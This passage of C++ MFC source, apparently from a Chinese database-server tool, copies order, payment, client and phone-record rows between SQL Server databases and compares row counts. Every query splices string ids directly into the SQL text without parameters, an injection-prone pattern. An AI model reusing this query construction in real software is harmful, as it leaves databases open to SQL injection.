  2767. // CheckDinDanExist返回:1表示正常, 100及以上表示源数据库里记录 > 目标数据库记录;
  2768. if (CheckDinDanExist(pBeConverted_db, pToConverted_db, strOrderNumber, &retarray) == 1)
  2769. return 1;
  2770. step = 1;
  2771. int i;
  2772. CString temp;
  2773. int colcount;
  2774. CODBCFieldInfo fieldinfo;
  2775. int ret = 1;
  2776. // 以下全是insert into 到目录数据库中;
  2777. CRecordset myset(pBeConverted_db);
  2778. try
  2779. {
  2780. if (retarray.ElementAt(0) == "0")
  2781. {
  2782. sql.Format("insert into [%d].[dbo].[dindan] select * from [%s].[dbo].[dindan] where id='%s'", nYear, g_nCurConvertDBName, strOrderNumber);
  2783. MyExecuteSQL(pBeConverted_db, sql);
  2784. }
  2785. }
  2786. catch (CDBException * e)
  2787. {
  2788. WriteTextLog("step2" + e->m_strError);
  2789. #ifdef _DEBUG
  2790. e->ReportError();
  2791. #endif
  2792. e->Delete();
  2793. ret = 2;
  2794. }
  2795. step = 2;
  2796. try
  2797. {
  2798. if (retarray.ElementAt(1) == "0")
  2799. {
  2800. sql.Format("insert into [%d].[dbo].[dindansp] select * from [%s].[dbo].[dindansp] where id='%s'", nYear, g_nCurConvertDBName, strOrderNumber);
  2801. MyExecuteSQL(pBeConverted_db, sql);
  2802. }
  2803. }
  2804. catch (CDBException * e)
  2805. {
  2806. WriteTextLog("step3" + e->m_strError);
  2807. #ifdef _DEBUG
  2808. e->ReportError();
  2809. #endif
  2810. e->Delete();
  2811. ret = 3;
  2812. }
  2813. step = 3;
  2814. try
  2815. {
  2816. if (retarray.ElementAt(2) == "0")
  2817. {
  2818. sql.Format("insert into [%d].[dbo].[dindanbukuan] ([autoid],[id],[money],[ren],[date],[bz],[kind],[ren2],[item],[paytype],[jdd],[financecheck]) select [autoid],[id],[money],[ren],[date],[bz],[kind],[ren2],[item],[paytype],[jdd],[financecheck] from [%s].[dbo].[dindanbukuan] where id='%s'", nYear, g_nCurConvertDBName, strOrderNumber);
  2819. MyExecuteSQL(pBeConverted_db, sql);
  2820. }
  2821. }
  2822. catch (CDBException * e)
  2823. {
  2824. WriteTextLog("step4" + e->m_strError);
  2825. #ifdef _DEBUG
  2826. e->ReportError();
  2827. #endif
  2828. e->Delete();
  2829. ret = 4;
  2830. }
  2831. step = 4;
  2832. try
  2833. {
  2834. if (retarray.ElementAt(3) == "0")
  2835. {
  2836. sql.Format("insert into [%d].[dbo].[dindanbukuan2] ([autoid],[id],[money],[ren],[date],[bz],[kind],[ren2]) select [autoid],[id],[money],[ren],[date],[bz],[kind],[ren2] from [%s].[dbo].[dindanbukuan2] where id='%s'", nYear, g_nCurConvertDBName, strOrderNumber);
  2837. MyExecuteSQL(pBeConverted_db, sql);
  2838. }
  2839. }
  2840. catch (CDBException * e)
  2841. {
  2842. WriteTextLog("step5" + e->m_strError);
  2843. #ifdef _DEBUG
  2844. e->ReportError();
  2845. #endif
  2846. e->Delete();
  2847. ret = 5;
  2848. }
  2849. step = 5;
  2850. try
  2851. {
  2852. if (retarray.ElementAt(4) == "0")
  2853. {
  2854. sql.Format("insert into [%d].[dbo].[photoprint] select * from [%s].[dbo].[photoprint] where id='%s'", nYear, g_nCurConvertDBName, strOrderNumber);
  2855. MyExecuteSQL(pBeConverted_db, sql);
  2856. }
  2857. }
  2858. catch (CDBException * e)
  2859. {
  2860. WriteTextLog("step6" + e->m_strError);
  2861. #ifdef _DEBUG
  2862. e->ReportError();
  2863. #endif
  2864. e->Delete();
  2865. ret = 6;
  2866. }
  2867. step = 6;
  2868. try
  2869. {
  2870. if (retarray.ElementAt(5) == "0")
  2871. {
  2872. sql.Format("insert into [%d].[dbo].[client] select * from [%s].[dbo].[client] where id='%s'", nYear, g_nCurConvertDBName, strOrderNumber);
  2873. MyExecuteSQL(pBeConverted_db, sql);
  2874. }
  2875. }
  2876. catch (CDBException * e)
  2877. {
  2878. WriteTextLog("step7" + e->m_strError);
  2879. #ifdef _DEBUG
  2880. e->ReportError();
  2881. #endif
  2882. e->Delete();
  2883. ret = 7;
  2884. }
  2885. step = 7;
  2886. try
  2887. {
  2888. if (retarray.ElementAt(6) == "0")
  2889. {
  2890. sql.Format("insert into [%d].[dbo].[burncdreg] select * from [%s].[dbo].[burncdreg] where id='%s'", nYear, g_nCurConvertDBName, strOrderNumber);
  2891. MyExecuteSQL(pBeConverted_db, sql);
  2892. }
  2893. }
  2894. catch (CDBException * e)
  2895. {
  2896. WriteTextLog("step8" + e->m_strError);
  2897. #ifdef _DEBUG
  2898. e->ReportError();
  2899. #endif
  2900. e->Delete();
  2901. ret = 8;
  2902. }
  2903. step = 8;
  2904. try
  2905. {
  2906. if (retarray.ElementAt(7) == "0")
  2907. {
  2908. sql.Format("insert into [%d].[dbo].[digitalwork] select * from [%s].[dbo].[digitalwork] where id='%s'", nYear, g_nCurConvertDBName, strOrderNumber);
  2909. MyExecuteSQL(pBeConverted_db, sql);
  2910. }
  2911. }
  2912. catch (CDBException * e)
  2913. {
  2914. WriteTextLog("step9" + e->m_strError);
  2915. #ifdef _DEBUG
  2916. e->ReportError();
  2917. #endif
  2918. e->Delete();
  2919. ret = 9;
  2920. }
  2921. step = 9;
  2922. try
  2923. {
  2924. if (retarray.ElementAt(8) == "0")
  2925. {
  2926. sql.Format("insert into [%d].[dbo].[mywork] select * from [%s].[dbo].[mywork] where id='%s'", nYear, g_nCurConvertDBName, strOrderNumber);
  2927. MyExecuteSQL(pBeConverted_db, sql);
  2928. }
  2929. }
  2930. catch (CDBException * e)
  2931. {
  2932. WriteTextLog("step10" + e->m_strError);
  2933. #ifdef _DEBUG
  2934. e->ReportError();
  2935. #endif
  2936. e->Delete();
  2937. ret = 10;
  2938. }
  2939. step = 10;
  2940. try
  2941. {
  2942. if (retarray.ElementAt(9) == "0")
  2943. {
  2944. sql.Format("insert into [%d].[dbo].[dindanjd] select * from [%s].[dbo].[dindanjd] where id='%s'", nYear, g_nCurConvertDBName, strOrderNumber);
  2945. MyExecuteSQL(pBeConverted_db, sql);
  2946. }
  2947. }
  2948. catch (CDBException * e)
  2949. {
  2950. WriteTextLog("step11" + e->m_strError);
  2951. #ifdef _DEBUG
  2952. e->ReportError();
  2953. #endif
  2954. e->Delete();
  2955. ret = 11;
  2956. }
  2957. step = 11;
  2958. try
  2959. {
  2960. if (retarray.ElementAt(10) == "0")
  2961. {
  2962. sql.Format("insert into [%d].[dbo].[dindansp2] select * from [%s].[dbo].[dindansp2] where id='%s'", nYear, g_nCurConvertDBName, strOrderNumber);
  2963. MyExecuteSQL(pBeConverted_db, sql);
  2964. }
  2965. }
  2966. catch (CDBException * e)
  2967. {
  2968. WriteTextLog("step12" + e->m_strError);
  2969. #ifdef _DEBUG
  2970. e->ReportError();
  2971. #endif
  2972. e->Delete();
  2973. ret = 12;
  2974. }
  2975. step = 12;
  2976. try
  2977. {
  2978. if (retarray.ElementAt(11) == "0")
  2979. {
  2980. sql.Format("insert into [%d].[dbo].[dindansp3] select * from [%s].[dbo].[dindansp3] where id='%s'", nYear, g_nCurConvertDBName, strOrderNumber);
  2981. MyExecuteSQL(pBeConverted_db, sql);
  2982. }
  2983. }
  2984. catch (CDBException * e)
  2985. {
  2986. WriteTextLog("step13" + e->m_strError);
  2987. #ifdef _DEBUG
  2988. e->ReportError();
  2989. #endif
  2990. e->Delete();
  2991. ret = 13;
  2992. }
  2993. if (ret != 1)return 200 + ret;
  2994. // 插入到目标数据库后再到目标数据库里查询是否存在;
  2995. return CheckDinDanExist(pBeConverted_db, pToConverted_db, strOrderNumber, &retarray);
  2996. }
  2997. catch (...)
  2998. {
  2999. CString str;
  3000. str.Format("%d size:%d", step, retarray.GetSize());
  3001. WriteTextLog("出错在函数trans1中-" + str);
  3002. }
  3003. return 0;
  3004. }
  3005. BOOL CDBServerDlg::TransPayOut(CDatabase *pdb1, CDatabase *pdb2, CString id, int year)
  3006. {
  3007. try
  3008. {
  3009. CString sql;
  3010. if (CheckPayOutExist(pdb1, pdb2, id))return 1;
  3011. int i; CString temp;
  3012. int colcount;
  3013. CODBCFieldInfo fieldinfo;
  3014. BOOL ret = 1;
  3015. CRecordset myset(pdb1);
  3016. try
  3017. {
  3018. sql.Format("insert into [%d].[dbo].[gudingfeiyong] select * from [%s].[dbo].[gudingfeiyong] where id=%d", year, g_nCurConvertDBName, atol(id));
  3019. MyExecuteSQL(pdb1, sql);
  3020. }
  3021. catch (CDBException * e)
  3022. {
  3023. WriteTextLog(e->m_strError);
  3024. #ifdef _DEBUG
  3025. e->ReportError();
  3026. #endif
  3027. e->Delete();
  3028. ret = 0;
  3029. }
  3030. if (ret == 0)return 0;
  3031. return CheckPayOutExist(pdb1, pdb2, id);
  3032. }
  3033. catch (...)
  3034. {
  3035. WriteTextLog("出错在函数trans2中");
  3036. }
  3037. return 0;
  3038. }
  3039. //singleincome
  3040. BOOL CDBServerDlg::TransIncome(CDatabase *pdb1, CDatabase *pdb2, CString id, int year)
  3041. {
  3042. try
  3043. {
  3044. CString sql;
  3045. CStringArray retarray;
  3046. if (CheckIncomeExist(pdb1, pdb2, id, &retarray))return 1;
  3047. int i; CString temp;
  3048. int colcount;
  3049. CODBCFieldInfo fieldinfo;
  3050. BOOL ret = 1;
  3051. CRecordset myset(pdb1);
  3052. try
  3053. {
  3054. if (retarray.ElementAt(0) == "0")
  3055. {
  3056. sql.Format("insert into [%d].[dbo].[singleincome] select * from [%s].[dbo].[singleincome] where id=%d", year, g_nCurConvertDBName, atol(id));
  3057. MyExecuteSQL(pdb1, sql);
  3058. }
  3059. }
  3060. catch (...)
  3061. {
  3062. ret = 0;
  3063. }
  3064. try
  3065. {
  3066. if (retarray.ElementAt(1) == "0")
  3067. {
  3068. sql.Format("insert into [%d].[dbo].[singleincomemoney] select * from [%s].[dbo].[singleincomemoney] where id='%s'", year, g_nCurConvertDBName, id);
  3069. MyExecuteSQL(pdb1, sql);
  3070. }
  3071. }
  3072. catch (CDBException * e)
  3073. {
  3074. WriteTextLog(e->m_strError);
  3075. #ifdef _DEBUG
  3076. e->ReportError();
  3077. #endif
  3078. e->Delete();
  3079. ret = 0;
  3080. }
  3081. if (ret == 0)return 0;
  3082. return CheckIncomeExist(pdb1, pdb2, id, &retarray);
  3083. }
  3084. catch (...)
  3085. {
  3086. WriteTextLog("出错在函数trans3中");
  3087. }
  3088. return 0;
  3089. }
  3090. BOOL CDBServerDlg::TransIncomeMoney(CDatabase *pdb1, CDatabase *pdb2, CString id, int year)
  3091. {
  3092. try
  3093. {
  3094. CString sql;
  3095. if (CheckIncomeMoneyExist(pdb1, pdb2, id))return 1;
  3096. int i; CString temp;
  3097. int colcount;
  3098. CODBCFieldInfo fieldinfo;
  3099. BOOL ret = 1;
  3100. CRecordset myset(pdb1);
  3101. try
  3102. {
  3103. sql.Format("insert into [%d].[dbo].[singleincomemoney] select * from [%s].[dbo].[singleincomemoney] where id='%s'", year, g_nCurConvertDBName, id);
  3104. MyExecuteSQL(pdb1, sql);
  3105. }
  3106. catch (CDBException * e)
  3107. {
  3108. WriteTextLog(e->m_strError);
  3109. #ifdef _DEBUG
  3110. e->ReportError();
  3111. #endif
  3112. e->Delete();
  3113. ret = 0;
  3114. }
  3115. if (ret == 0)return 0;
  3116. return CheckIncomeMoneyExist(pdb1, pdb2, id);
  3117. }
  3118. catch (...)
  3119. {
  3120. WriteTextLog("出错在函数trans3中");
  3121. }
  3122. return 0;
  3123. }
  3124. BOOL CDBServerDlg::Checkclient2phonerecordExist(CDatabase *pdb1, CDatabase *pdb2, CString id)
  3125. {
  3126. try
  3127. {
  3128. int count1 = 0;
  3129. int count2 = 0;
  3130. CString sql;
  3131. {
  3132. CRecordset myset(pdb1);
  3133. sql = "select count(*) as cot from client2phonerecord where [datetime]='" + id + "'";
  3134. myset.Open(CRecordset::forwardOnly, sql);
  3135. myset.GetFieldValue("cot", sql);
  3136. myset.Close();
  3137. count1 = atoi(sql);
  3138. }
  3139. {
  3140. CRecordset myset(pdb2);
  3141. sql = "select count(*) as cot from client2phonerecord where [datetime]='" + id + "'";
  3142. myset.Open(CRecordset::forwardOnly, sql);
  3143. myset.GetFieldValue("cot", sql);
  3144. myset.Close();
  3145. count2 = atoi(sql);
  3146. }
  3147. if (count1 > count2)return 0;
  3148. return 1;
  3149. }
  3150. catch (...)
  3151. {
  3152. WriteTextLog("出错在函数check3中");
  3153. }
  3154. return 0;
  3155. }
  3156. BOOL CDBServerDlg::Transclient2phonerecord(CDatabase *pdb1, CDatabase *pdb2, CString id, int year)
  3157. {
  3158. try
  3159. {
  3160. CString sql;
  3161. if (Checkclient2phonerecordExist(pdb1, pdb2, id))return 1;
  3162. int i; CString temp;
  3163. int colcount;
  3164. CODBCFieldInfo fieldinfo;
  3165. BOOL ret = 1;
  3166. CRecordset myset(pdb1);
  3167. try
  3168. {
  3169. sql.Format("insert into [%d].[dbo].[client2phonerecord] select * from [%s].[dbo].[client2phonerecord] where [datetime]='%s'", year, g_nCurConvertDBName, id);
  3170. MyExecuteSQL(pdb1, sql);
  3171. }
  3172. catch (...)
  3173. {
  3174. ret = 0;
  3175. }
  3176. if (ret == 0)return 0;
  3177. return Checkclient2phonerecordExist(pdb1, pdb2, id);
  3178. }
  3179. catch (...)
  3180. {
  3181. WriteTextLog("出错在函数trans3中");
  3182. }
  3183. return 0;
  3184. }
  3185. BOOL CDBServerDlg::Checkclient3phonerecordExist(CDatabase *pdb1, CDatabase *pdb2, CString id)
  3186. {
  3187. try
  3188. {
  3189. int count1 = 0;
  3190. int count2 = 0;
  3191. CString sql;
  3192. {
  3193. CRecordset myset(pdb1);
  3194. sql = "select count(*) as cot from client3phonerecord where [datetime]='" + id + "'";
  3195. myset.Open(CRecordset::forwardOnly, sql);
  3196. myset.GetFieldValue("cot", sql);
  3197. myset.Close();
  3198. count1 = atoi(sql);
  3199. }
  3200. {
  3201. CRecordset myset(pdb2);
  3202. sql = "select count(*) as cot from client3phonerecord where [datetime]='" + id + "'";
  3203. myset.Open(CRecordset::forwardOnly, sql);
  3204. myset.GetFieldValue("cot", sql);
  3205. myset.Close();
  3206. count2 = atoi(sql);
  3207. }
  3208. if (count1 > count2)return 0;
  3209. return 1;
  3210. }
  3211. catch (...)
  3212. {
  3213. WriteTextLog("出错在函数check3中");
  3214. }
  3215. return 0;
  3216. }
  3217. BOOL CDBServerDlg::Transclient3phonerecord(CDatabase *pdb1, CDatabase *pdb2, CString id, int year)
  3218. {
  3219. try
  3220. {
  3221. CString sql;
  3222. if (Checkclient3phonerecordExist(pdb1, pdb2, id))return 1;
  3223. int i; CString temp;
  3224. int colcount;
  3225. CODBCFieldInfo fieldinfo;
  3226. BOOL ret = 1;
  3227. CRecordset myset(pdb1);
  3228. try
  3229. {
  3230. sql.Format("insert into [%d].[dbo].[client3phonerecord] select * from [%s].[dbo].[client3phonerecord] where [datetime]='%s'", year, g_nCurConvertDBName, id);
  3231. MyExecuteSQL(pdb1, sql);
  3232. }
  3233. catch (...)
  3234. {
  3235. ret = 0;
  3236. }
  3237. if (ret == 0)return 0;
  3238. return Checkclient3phonerecordExist(pdb1, pdb2, id);
  3239. }
  3240. catch (...)
  3241. {
  3242. WriteTextLog("出错在函数trans3中");
  3243. }
  3244. return 0;
  3245. }
  3246. BOOL CDBServerDlg::Checkclient2phonerecordoutExist(CDatabase *pdb1, CDatabase *pdb2, CString id)
  3247. {
  3248. try
  3249. {
  3250. int count1 = 0;
  3251. int count2 = 0;
  3252. CString sql;
  3253. {
  3254. CRecordset myset(pdb1);
  3255. sql = "select count(*) as cot from client2phonerecordout where [datetime]='" + id + "'";
  3256. myset.Open(CRecordset::forwardOnly, sql);
  3257. myset.GetFieldValue("cot", sql);
  3258. myset.Close();
  3259. count1 = atoi(sql);
  3260. }
  3261. {
  3262. CRecordset myset(pdb2);
  3263. sql = "select count(*) as cot from client2phonerecordout where [datetime]='" + id + "'";
  3264. myset.Open(CRecordset::forwardOnly, sql);
  3265. myset.GetFieldValue("cot", sql);
  3266. myset.Close();
  3267. count2 = atoi(sql);
  3268. }
  3269. if (count1 > count2)return 0;
  3270. return 1;
  3271. }
  3272. catch (...)
  3273. {
  3274. WriteTextLog("出错在函数check3中");
  3275. }
  3276. return 0;
  3277. }
  3278. BOOL CDBServerDlg::Transclient2phonerecordout(CDatabase *pdb1, CDatabase *pdb2, CString id, int year)
  3279. {
  3280. try
  3281. {
  3282. CString sql;
  3283. if (Checkclient2phonerecordoutExist(pdb1, pdb2, id))return 1;
  3284. int i; CString temp;
  3285. int colcount;
  3286. CODBCFieldInfo fieldinfo;
  3287. BOOL ret = 1;
  3288. CRecordset myset(pdb1);
  3289. try
  3290. {
  3291. sql.Format("insert into [%d].[dbo].[client2phonerecordout] select * from [%s].[dbo].[client2phonerecordout] where [datetime]='%s'", year, g_nCurConvertDBName, id);
  3292. MyExecuteSQL(pdb1, sql);
  3293. }
  3294. catch (...)
  3295. {
  3296. ret = 0;
  3297. }
  3298. if (ret == 0)return 0;
  3299. return Checkclient2phonerecordoutExist(pdb1, pdb2, id);
  3300. }
  3301. catch (...)
  3302. {
  3303. WriteTextLog("出错在函数trans3中");
  3304. }
  3305. return 0;
  3306. }
  3307. BOOL CDBServerDlg::Checkclient3phonerecordoutExist(CDatabase *pdb1, CDatabase *pdb2, CString id)
  3308. {
  3309. try
  3310. {
  3311. int count1 = 0;
  3312. int count2 = 0;
  3313. CString sql;
  3314. {
  3315. CRecordset myset(pdb1);
  3316. sql = "select count(*) as cot from client3phonerecordout where [datetime]='" + id + "'";
  3317. myset.Open(CRecordset::forwardOnly, sql);
  3318. myset.GetFieldValue("cot", sql);
  3319. myset.Close();
  3320. count1 = atoi(sql);
  3321. }
  3322. {
  3323. CRecordset myset(pdb2);
  3324. sql = "select count(*) as cot from client3phonerecordout where [datetime]='" + id + "'";
  3325. myset.Open(CRecordset::forwardOnly, sql);
  3326. myset.GetFieldValue("cot", sql);
  3327. myset.Close();
  3328. count2 = atoi(sql);
  3329. }
  3330. if (count1 > count2)return 0;
  3331. return 1;
  3332. }
  3333. catch (...)
  3334. {
  3335. WriteTextLog("出错在函数check3中");
  3336. }
  3337. return 0;
  3338. }
  3339. BOOL CDBServerDlg::Transclient3phonerecordout(CDatabase *pdb1, CDatabase *pdb2, CString id, int year)
  3340. {
  3341. try
  3342. {
  3343. CString sql;
  3344. if (Checkclient3phonerecordoutExist(pdb1, pdb2, id))return 1;
  3345. int i; CString temp;
  3346. int colcount;
  3347. CODBCFieldInfo fieldinfo;
  3348. BOOL ret = 1;
  3349. CRecordset myset(pdb1);
  3350. try
  3351. {
  3352. sql.Format("insert into [%d].[dbo].[client3phonerecordout] select * from [%s].[dbo].[client3phonerecordout] where [datetime]='%s'", year, g_nCurConvertDBName, id);
  3353. MyExecuteSQL(pdb1, sql);
  3354. }
  3355. catch (...)
  3356. {
  3357. ret = 0;
  3358. }
  3359. if (ret == 0)return 0;
  3360. return Checkclient3phonerecordoutExist(pdb1, pdb2, id);
  3361. }
  3362. catch (...)
  3363. {
  3364. WriteTextLog("出错在函数trans3中");
  3365. }
  3366. return 0;
  3367. }
  3368. BOOL CDBServerDlg::CheckemployeephonerecordExist(CDatabase *pdb1, CDatabase *pdb2, CString id)
  3369. {
  3370. try
  3371. {
  3372. int count1 = 0;
  3373. int count2 = 0;
  3374. CString sql;
  3375. {
  3376. CRecordset myset(pdb1);
  3377. sql = "select count(*) as cot from employeephonerecord where [datetime]='" + id + "'";
  3378. myset.Open(CRecordset::forwardOnly, sql);
  3379. myset.GetFieldValue("cot", sql);
  3380. myset.Close();
  3381. count1 = atoi(sql);
  3382. }
  3383. {
  3384. CRecordset myset(pdb2);
  3385. sql = "select count(*) as cot from employeephonerecord where [datetime]='" + id + "'";
  3386. myset.Open(CRecordset::forwardOnly, sql);
  3387. myset.GetFieldValue("cot", sql);
  3388. myset.Close();
  3389. count2 = atoi(sql);
  3390. }
  3391. if (count1 > count2)return 0;
  3392. return 1;
  3393. }
  3394. catch (...)
  3395. {
  3396. WriteTextLog("出错在函数check3中");
  3397. }
  3398. return 0;
  3399. }
  3400. BOOL CDBServerDlg::Transemployeephonerecord(CDatabase *pdb1, CDatabase *pdb2, CString id, int year)
  3401. {
  3402. try
  3403. {
  3404. CString sql;
  3405. if (CheckemployeephonerecordExist(pdb1, pdb2, id))return 1;
  3406. int i; CString temp;
  3407. int colcount;
  3408. CODBCFieldInfo fieldinfo;
  3409. BOOL ret = 1;
  3410. CRecordset myset(pdb1);
  3411. try
  3412. {
  3413. sql.Format("insert into [%d].[dbo].[employeephonerecord] select * from [%s].[dbo].[employeephonerecord] where [datetime]='%s'", year, g_nCurConvertDBName, id);
  3414. MyExecuteSQL(pdb1, sql);
  3415. }
  3416. catch (...)
  3417. {
  3418. ret = 0;
  3419. }
  3420. if (ret == 0)return 0;
  3421. return CheckemployeephonerecordExist(pdb1, pdb2, id);
  3422. }
  3423. catch (...)
  3424. {
  3425. WriteTextLog("出错在函数trans3中");
  3426. }
  3427. return 0;
  3428. }
  3429. BOOL CDBServerDlg::CheckemployeephonerecordoutExist(CDatabase *pdb1, CDatabase *pdb2, CString id)
  3430. {
  3431. try
  3432. {
  3433. int count1 = 0;
  3434. int count2 = 0;
  3435. CString sql;
  3436. {
  3437. CRecordset myset(pdb1);
  3438. sql = "select count(*) as cot from employeephonerecordout where [datetime]='" + id + "'";
  3439. myset.Open(CRecordset::forwardOnly, sql);
  3440. myset.GetFieldValue("cot", sql);
  3441. myset.Close();
  3442. count1 = atoi(sql);
  3443. }
  3444. {
  3445. CRecordset myset(pdb2);
  3446. sql = "select count(*) as cot from employeephonerecordout where [datetime]='" + id + "'";
  3447. myset.Open(CRecordset::forwardOnly, sql);
  3448. myset.GetFieldValue("cot", sql);
  3449. myset.Close();
  3450. count2 = atoi(sql);
  3451. }
  3452. if (count1 > count2)return 0;
  3453. return 1;
  3454. }
  3455. catch (...)
  3456. {
  3457. WriteTextLog("出错在函数check3中");
  3458. }
  3459. return 0;
  3460. }
  3461. BOOL CDBServerDlg::Transemployeephonerecordout(CDatabase *pdb1, CDatabase *pdb2, CString id, int year)
  3462. {
  3463. try
  3464. {
  3465. CString sql;
  3466. if (CheckemployeephonerecordoutExist(pdb1, pdb2, id))return 1;
  3467. int i; CString temp;
  3468. int colcount;
  3469. CODBCFieldInfo fieldinfo;
  3470. BOOL ret = 1;
  3471. CRecordset myset(pdb1);
  3472. try
  3473. {
  3474. sql.Format("insert into [%d].[dbo].[employeephonerecordout] select * from [%s].[dbo].[employeephonerecordout] where [datetime]='%s'", year, g_nCurConvertDBName, id);
  3475. MyExecuteSQL(pdb1, sql);
  3476. }
  3477. catch (...)
  3478. {
  3479. ret = 0;
  3480. }
  3481. if (ret == 0)return 0;
  3482. return CheckemployeephonerecordoutExist(pdb1, pdb2, id);
  3483. }
  3484. catch (...)
  3485. {
  3486. WriteTextLog("出错在函数trans3中");
  3487. }
  3488. return 0;
  3489. }
  3490. BOOL CDBServerDlg::CheckphonerecordExist(CDatabase *pdb1, CDatabase *pdb2, CString id)
  3491. {
  3492. try
  3493. {
  3494. int count1 = 0;
  3495. int count2 = 0;
  3496. CString sql;
  3497. {
  3498. CRecordset myset(pdb1);
  3499. sql = "select count(*) as cot from phonerecord where [datetime]='" + id + "'";
  3500. myset.Open(CRecordset::forwardOnly, sql);
  3501. myset.GetFieldValue("cot", sql);
  3502. myset.Close();
  3503. count1 = atoi(sql);
  3504. }
  3505. {
  3506. CRecordset myset(pdb2);
  3507. sql = "select count(*) as cot from phonerecord where [datetime]='" + id + "'";
  3508. myset.Open(CRecordset::forwardOnly, sql);
  3509. myset.GetFieldValue("cot", sql);
  3510. myset.Close();
  3511. count2 = atoi(sql);
  3512. }
  3513. if (count1 > count2)return 0;
  3514. return 1;
  3515. }
  3516. catch (...)
  3517. {
  3518. WriteTextLog("出错在函数check3中");
  3519. }
  3520. return 0;
  3521. }
  3522. BOOL CDBServerDlg::Transphonerecord(CDatabase *pdb1, CDatabase *pdb2, CString id, int year)
  3523. {
  3524. try
  3525. {
  3526. CString sql;
  3527. if (CheckphonerecordExist(pdb1, pdb2, id))return 1;
  3528. int i; CString temp;
  3529. int colcount;
  3530. CODBCFieldInfo fieldinfo;
  3531. BOOL ret = 1;
  3532. CRecordset myset(pdb1);
  3533. try
  3534. {
  3535. sql.Format("insert into [%d].[dbo].[phonerecord] select * from [%s].[dbo].[phonerecord] where [datetime]='%s'", year, g_nCurConvertDBName, id);
  3536. MyExecuteSQL(pdb1, sql);
  3537. }
  3538. catch (...)
  3539. {
  3540. ret = 0;
  3541. }
  3542. if (ret == 0)return 0;
  3543. return CheckphonerecordExist(pdb1, pdb2, id);
  3544. }
  3545. catch (...)
  3546. {
  3547. WriteTextLog("出错在函数trans3中");
  3548. }
  3549. return 0;
  3550. }
  3551. BOOL CDBServerDlg::CheckphonerecordoutExist(CDatabase *pdb1, CDatabase *pdb2, CString id)
  3552. {
  3553. try
  3554. {
  3555. int count1 = 0;
  3556. int count2 = 0;
  3557. CString sql;
  3558. {
  3559. CRecordset myset(pdb1);
  3560. sql = "select count(*) as cot from phonerecordout where [datetime]='" + id + "'";
  3561. myset.Open(CRecordset::forwardOnly, sql);
  3562. myset.GetFieldValue("cot", sql);
  3563. myset.Close();
  3564. count1 = atoi(sql);
  3565. }
  3566. {
  3567. CRecordset myset(pdb2);
  3568. sql = "select count(*) as cot from phonerecordout where [datetime]='" + id + "'";
  3569. myset.Open(CRecordset::forwardOnly, sql);
  3570. myset.GetFieldValue("cot", sql);
  3571. myset.Close();
  3572. count2 = atoi(sql);
  3573. }
  3574. if (count1 > count2)return 0;
  3575. return 1;
  3576. }
  3577. catch (...)
  3578. {
  3579. WriteTextLog("出错在函数check3中");
  3580. }
  3581. return 0;
  3582. }
  3583. BOOL CDBServerDlg::Transphonerecordout(CDatabase *pdb1, CDatabase *pdb2, CString id, int year)
  3584. {
  3585. try
  3586. {
  3587. CString sql;
  3588. if (CheckphonerecordoutExist(pdb1, pdb2, id))return 1;
  3589. int i; CString temp;
  3590. int colcount;
  3591. CODBCFieldInfo fieldinfo;
  3592. BOOL ret = 1;
  3593. CRecordset myset(pdb1);
  3594. try
  3595. {
  3596. sql.Format("insert into [%d].[dbo].[phonerecordout] select * from [%s].[dbo].[phonerecordout] where [datetime]='%s'", year, g_nCurConvertDBName, id);
  3597. MyExecuteSQL(pdb1, sql);
  3598. }
  3599. catch (...)
  3600. {
  3601. ret = 0;
  3602. }
  3603. if (ret == 0)return 0;
  3604. return CheckphonerecordoutExist(pdb1, pdb2, id);
  3605. }
  3606. catch (...)
  3607. {
  3608. WriteTextLog("出错在函数trans3中");
  3609. }
  3610. return 0;
  3611. }
  3612. BOOL CDBServerDlg::CheckunknownphonerecordExist(CDatabase *pdb1, CDatabase *pdb2, CString id)
  3613. {
  3614. try
  3615. {
  3616. int count1 = 0;
  3617. int count2 = 0;
  3618. CString sql;
  3619. {
  3620. CRecordset myset(pdb1);
  3621. sql = "select count(*) as cot from unknownphonerecord where [datetime]='" + id + "'";
  3622. myset.Open(CRecordset::forwardOnly, sql);
  3623. myset.GetFieldValue("cot", sql);
  3624. myset.Close();
  3625. count1 = atoi(sql);
  3626. }
  3627. {
  3628. CRecordset myset(pdb2);
  3629. sql = "select count(*) as cot from unknownphonerecord where [datetime]='" + id + "'";
  3630. myset.Open(CRecordset::forwardOnly, sql);
  3631. myset.GetFieldValue("cot", sql);
  3632. myset.Close();
  3633. count2 = atoi(sql);
  3634. }
  3635. if (count1 > count2)return 0;
  3636. return 1;
  3637. }
  3638. catch (...)
  3639. {
  3640. WriteTextLog("出错在函数check3中");
  3641. }
  3642. return 0;
  3643. }
  3644. BOOL CDBServerDlg::Transunknownphonerecord(CDatabase *pdb1, CDatabase *pdb2, CString id, int year)
  3645. {
  3646. try
  3647. {
  3648. CString sql;
  3649. if (CheckunknownphonerecordExist(pdb1, pdb2, id))return 1;
  3650. int i; CString temp;
  3651. int colcount;
  3652. CODBCFieldInfo fieldinfo;
  3653. BOOL ret = 1;
  3654. CRecordset myset(pdb1);
  3655. try
  3656. {
  3657. sql.Format("insert into [%d].[dbo].[unknownphonerecord] select * from [%s].[dbo].[unknownphonerecord] where [datetime]='%s'", year, g_nCurConvertDBName, id);
  3658. MyExecuteSQL(pdb1, sql);
  3659. }
  3660. catch (...)
  3661. {
  3662. ret = 0;
  3663. }
  3664. if (ret == 0)return 0;
  3665. return CheckunknownphonerecordExist(pdb1, pdb2, id);
  3666. }
  3667. catch (...)
  3668. {
  3669. WriteTextLog("出错在函数trans3中");
  3670. }
  3671. return 0;
  3672. }
  3673. BOOL CDBServerDlg::CheckunknownphonerecordoutExist(CDatabase *pdb1, CDatabase *pdb2, CString id)
  3674. {
  3675. try
  3676. {
  3677. int count1 = 0;
  3678. int count2 = 0;
  3679. CString sql;
  3680. {
  3681. CRecordset myset(pdb1);
  3682. sql = "select count(*) as cot from unknownphonerecordout where [datetime]='" + id + "'";
  3683. myset.Open(CRecordset::forwardOnly, sql);
  3684. myset.GetFieldValue("cot", sql);
  3685. myset.Close();
  3686. count1 = atoi(sql);
  3687. }
  3688. {
  3689. CRecordset myset(pdb2);
  3690. sql = "select count(*) as cot from unknownphonerecordout where [datetime]='" + id + "'";
  3691. myset.Open(CRecordset::forwardOnly, sql);
  3692. myset.GetFieldValue("cot", sql);
  3693. myset.Close();
  3694. count2 = atoi(sql);
  3695. }
  3696. if (count1 > count2)return 0;
  3697. return 1;
  3698. }
  3699. catch (...)
  3700. {
  3701. WriteTextLog("出错在函数check3中");
  3702. }
  3703. return 0;
  3704. }
